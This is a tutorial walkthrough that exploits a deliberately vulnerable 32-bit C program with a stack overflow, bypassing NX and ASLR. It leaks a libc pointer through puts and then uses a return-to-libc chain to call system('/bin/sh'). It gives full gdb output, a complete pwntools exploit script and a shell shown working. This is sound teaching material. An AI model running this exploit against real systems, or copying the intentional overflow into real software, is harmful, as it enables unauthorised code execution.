In this article, we’re going to be looking at a method of bypassing non-executable stack protection (NX/DEP) and Address Space Layout Randomisation on 32-bit Linux.
Below is the sample application we will be exploiting:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void check_password() {
char password[32];
puts("Password:");
fgets(password, 200, stdin);
if(strcmp(password, "bordergate\n") == 0) {
puts("pass\n");
}
else {
puts("fail\n");
}
}
int main(int argc, char **argv) {
check_password();
return 0;
}
Compile the code with:
gcc -no-pie -mpreferred-stack-boundary=2 -fno-stack-protector code.c -o ret2lab
Running the program in our debugging environment (gdb-peda) we can see the program encounters a segmentation fault if more than 500 characters are entered:
user@ubuntu:~/Ret2LibC$ python -c "print 'A'*500" > fuzz.txt
user@ubuntu:~/Ret2LibC$ gdb ./ret2lab
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ret2lab...(no debugging symbols found)...done.
gdb-peda$ run < fuzz.txt
Starting program: /home/user/Ret2LibC/ret2lab < fuzz.txt
Password:
fail
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xb7fcc870 --> 0x0
ESI: 0xb7fcb000 --> 0x1b1db0
EDI: 0xb7fcb000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5f8 ('A' <repeats 159 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f8 ('A' <repeats 159 times>)
0004| 0xbffff5fc ('A' <repeats 155 times>)
0008| 0xbffff600 ('A' <repeats 151 times>)
0012| 0xbffff604 ('A' <repeats 147 times>)
0016| 0xbffff608 ('A' <repeats 143 times>)
0020| 0xbffff60c ('A' <repeats 139 times>)
0024| 0xbffff610 ('A' <repeats 135 times>)
0028| 0xbffff614 ('A' <repeats 131 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
We can see the instruction pointer (EIP) has been overwritten with the “A” characters we generated.
Checking the memory protection mechanisms enabled on the binary shows that NX is active. Because of this, we will be unable to inject shellcode onto the stack.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
With GDB-Peda, we can locate the offset required to overwrite the instruction pointer:
gdb-peda$ pattern create 500 pattern.txt
Writing pattern of 500 chars to filename "pattern.txt"
gdb-peda$ run < pattern.txt
Starting program: /home/user/Ret2LibC/ret2lab < pattern.txt
Password:
fail
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xb7fcc870 --> 0x0
ESI: 0xb7fcb000 --> 0x1b1db0
EDI: 0xb7fcb000 --> 0x1b1db0
EBP: 0x41412941 ('A)AA')
ESP: 0xbffff5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
EIP: 0x61414145 ('EAAa')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61414145
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0004| 0xbffff5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0008| 0xbffff600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0012| 0xbffff604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0016| 0xbffff608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0020| 0xbffff60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0024| 0xbffff610 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
0028| 0xbffff614 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61414145 in ?? ()
gdb-peda$ pattern search
Registers contain pattern buffer:
ECX+52 found at offset: 69
EIP+0 found at offset: 36
EBP+0 found at offset: 32
Registers point to pattern buffer:
[ESP] --> offset 40 - size ~159
Pattern buffer found at:
0x0804b410 : offset 0 - size 500 ([heap])
0xbffff5d0 : offset 0 - size 199 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0xb7fcb5ac : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5b0 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5b4 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5b8 : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xb7fcb5bc : 0x0804b410 (/lib/i386-linux-gnu/libc-2.23.so)
0xbffff3b8 : 0x0804b410 ($sp + -0x240 [-144 dwords])
0xbffff474 : 0x0804b410 ($sp + -0x184 [-97 dwords])
We now know the instruction pointer (EIP) can be overwritten after 36 bytes. Let’s verify that using a Python script:
#!/usr/bin/python
buf = ""
buf += "A"*36
buf += "BBBB"
print buf
python exploit.py > out.txt
gdb-peda$ run < out.txt
Starting program: /home/user/Ret2LibC/ret2lab < out.txt
Password:
fail
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0x0
ECX: 0xffffffff
EDX: 0xb7fcc870 --> 0x0
ESI: 0xb7fcb000 --> 0x1b1db0
EDI: 0xb7fcb000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5f8 --> 0xa ('\n')
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f8 --> 0xa ('\n')
0004| 0xbffff5fc --> 0xb7e31637 (<__libc_start_main+247>: add esp,0x10)
0008| 0xbffff600 --> 0x1
0012| 0xbffff604 --> 0xbffff694 --> 0xbffff7cc ("/home/user/Ret2LibC/ret2lab")
0016| 0xbffff608 --> 0xbffff69c --> 0xbffff7e8 ("XDG_SESSION_ID=27")
0020| 0xbffff60c --> 0x0
0024| 0xbffff610 --> 0x0
0028| 0xbffff614 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
The EIP register has been overwritten with out “B” characters, which is represented in hex as 0x42.
Since DEP is enabled on the executable, we won’t be able to inject arbitrary code onto the stack. The solution to this is return orientated programming (ROP). Essentially we can execute instructions which already exist within the application.
However, Address Space Layout Randomization (ASLR) will hamper this effort since memory addresses will be randomized each time the application starts.
So first, we’re going to need to attempt to leak a pointer to an existing function. By leaking a pointer, we should able able to determine the current random base pointer address. Below illustrates how the memory addresses are being randomized each time the application starts:
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb752b000)
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7537000)
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
user@ubuntu:~/Ret2LibC$ ldd ./ret2lab | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75db000)
Stage 1: Pointer Leakage
To leak a pointer, we need to know three things;
- The address of the puts function procedure linkage table (PLT) value.
- A pointer to the programs main function. This is needed since if the application terminates the ASLR base address will be randomised again.
- The puts function address in the Global Offset Table (GOT)
We can get these values one and two using GDB:
gdb-peda$ p main
$1 = {<text variable, no debug info>} 0x80484f9 <main>
gdb-peda$ p 'puts@plt'
$2 = {<text variable, no debug info>} 0x8048370 <puts@plt>
To get the GOT address, run the application in GDB and ctrl+c to terminate it’s execution. This is required since the GOT address will only be resolved when the PLT stub has first ran.
gdb-peda$ disassemble check_password
Dump of assembler code for function check_password:
0x0804849b <+0>: push ebp
0x0804849c <+1>: mov ebp,esp
0x0804849e <+3>: sub esp,0x20
0x080484a1 <+6>: push 0x8048590
0x080484a6 <+11>: call 0x8048370 <puts@plt>
0x080484ab <+16>: add esp,0x4
0x080484ae <+19>: mov eax,ds:0x804a040
0x080484b3 <+24>: push eax
0x080484b4 <+25>: push 0xc8
0x080484b9 <+30>: lea eax,[ebp-0x20]
0x080484bc <+33>: push eax
0x080484bd <+34>: call 0x8048360 <fgets@plt>
0x080484c2 <+39>: add esp,0xc
0x080484c5 <+42>: push 0x804859a
0x080484ca <+47>: lea eax,[ebp-0x20]
0x080484cd <+50>: push eax
0x080484ce <+51>: call 0x8048350 <strcmp@plt>
0x080484d3 <+56>: add esp,0x8
0x080484d6 <+59>: test eax,eax
0x080484d8 <+61>: jne 0x80484e9 <check_password+78>
0x080484da <+63>: push 0x80485a6
0x080484df <+68>: call 0x8048370 <puts@plt>
0x080484e4 <+73>: add esp,0x4
0x080484e7 <+76>: jmp 0x80484f6 <check_password+91>
0x080484e9 <+78>: push 0x80485ac
0x080484ee <+83>: call 0x8048370 <puts@plt>
0x080484f3 <+88>: add esp,0x4
0x080484f6 <+91>: nop
0x080484f7 <+92>: leave
0x080484f8 <+93>: ret
End of assembler dump.
gdb-peda$ disassemble 0x8048370
Dump of assembler code for function puts@plt:
0x08048370 <+0>: jmp DWORD PTR ds:0x804a014
0x08048376 <+6>: push 0x10
0x0804837b <+11>: jmp 0x8048340
End of assembler dump.
gdb-peda$ info symbol 0x804a014
_GLOBAL_OFFSET_TABLE_ + 20 in section .got.plt of /home/user/Ret2LibC/ret2lab
The below Python code implements stage 1 of the attack. The EIP register will be overwritten with the puts@PLT pointer. The other values will be read from the stack as arguments to this function. Main acts as the functions return address. The puts@GOT pointer will be read from memory. This resides within the libc library.
#!/usr/bin/python
from pwn import *
r = process("./ret2lab")
context.log_level = 'DEBUG'
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF('./ret2lab')
#First stage - pointer leakage
puts_plt = 0x8048370
puts_got = 0x804a014
main = 0x80484f9
payload = ""
payload += "A"*36
payload += p32(puts_plt)
payload += p32(main)
payload += p32(puts_got)
r.recvuntil('Password:\n')
r.sendline(payload)
r.recvuntil('fail')
addr_puts = u32(r.recv()[2:6])
log.info('puts@libc is at: {}'.format(hex(addr_puts)))
Running the code shows the puts@glibc address as 0xb75aeca0. This value will change each time the application is restarted.
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './ret2lab': pid 734
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] PLT 0x8048350 strcmp
[DEBUG] PLT 0x8048360 fgets
[DEBUG] PLT 0x8048370 puts
[DEBUG] PLT 0x8048380 __libc_start_main
[DEBUG] PLT 0x8048390 __gmon_start__
[*] '/home/user/Ret2LibC/ret2lab'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0xa bytes:
'Password:\n'
[DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 70 83 04 08 f9 84 04 08 14 a0 04 08 │AAAA│p···│····│····│
00000030 0a │·│
00000031
[DEBUG] Received 0x19 bytes:
00000000 66 61 69 6c 0a 0a a0 ec 5a b7 40 75 56 b7 0a 50 │fail│····│Z·@u│V··P│
00000010 61 73 73 77 6f 72 64 3a 0a │assw│ord:│·│
00000019
[*] puts@libc is at: 0xb75aeca0
[*] Stopped process './ret2lab' (pid 734)
Stage 2: Return2Libc ROP Chain
We can determine the base address of LibC by subtracting 0005fca0 from the leaked puts pointer:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts@@
205: 0005fca0 464 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.0
434: 0005fca0 464 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.0
Knowing the randomised base address, we can then call the system function with the parameter of “/bin/sh”.
The final exploit looks like this:
#!/usr/bin/python
from pwn import *
r = process("./ret2lab")
context.log_level = 'DEBUG'
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF('./ret2lab')
#First stage - pointer leakage
puts_plt = 0x8048370
puts_got = 0x804a014
main = 0x80484f9
payload = ""
payload += "A"*36
payload += p32(puts_plt)
payload += p32(main)
payload += p32(puts_got)
r.recvuntil('Password:\n')
r.sendline(payload)
r.recvuntil('fail')
addr_puts = u32(r.recv()[2:6])
log.info('puts@libc is at: {}'.format(hex(addr_puts)))
libc_base = addr_puts - 0x5fca0
log.info('pwntools puts: {}'.format(hex(libc.symbols["puts"])))
log.info('libc base address is at: {}'.format(hex(libc_base)))
#Second stage - return to libc
libc_system = p32(libc_base + libc.symbols["system"])
log.info('system address is at: {}'.format(libc_system))
libc_exit = p32(libc_base + libc.symbols["exit"])
log.info('exit address is at: {}'.format(libc_exit))
libc_binsh = p32(libc_base + libc.search("/bin/sh").next())
log.info('binsh address is at: {}'.format(libc_binsh))
payload = ""
payload += "A"*36
payload += libc_system
payload += libc_exit
payload += libc_binsh
r.sendline(payload)
r.interactive()
Running the exploit to show command execution:
user@ubuntu:~/Ret2LibC$ python exploit.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './ret2lab': pid 767
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] PLT 0x8048350 strcmp
[DEBUG] PLT 0x8048360 fgets
[DEBUG] PLT 0x8048370 puts
[DEBUG] PLT 0x8048380 __libc_start_main
[DEBUG] PLT 0x8048390 __gmon_start__
[*] '/home/user/Ret2LibC/ret2lab'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] Received 0xa bytes:
'Password:\n'
[DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 70 83 04 08 f9 84 04 08 14 a0 04 08 │AAAA│p···│····│····│
00000030 0a │·│
00000031
[DEBUG] Received 0x19 bytes:
00000000 66 61 69 6c 0a 0a a0 6c 63 b7 40 f5 5e b7 0a 50 │fail│···l│c·@·│^··P│
00000010 61 73 73 77 6f 72 64 3a 0a │assw│ord:│·│
00000019
[*] puts@libc is at: 0xb7636ca0
[*] pwntools puts: 0x5fca0
[*] libc base address is at: 0xb75d7000
[*] system address is at: \xa0\x1da\xb7
[*] exit address is at: �Y`\xb7
[*] binsh address is at: \x0b*s\xb7
[DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 a0 1d 61 b7 d0 59 60 b7 0b 2a 73 b7 │AAAA│··a·│·Y`·│·*s·│
00000030 0a │·│
00000031
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
'fail\n'
'\n'
fail
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x84 bytes:
'uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)\n'
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$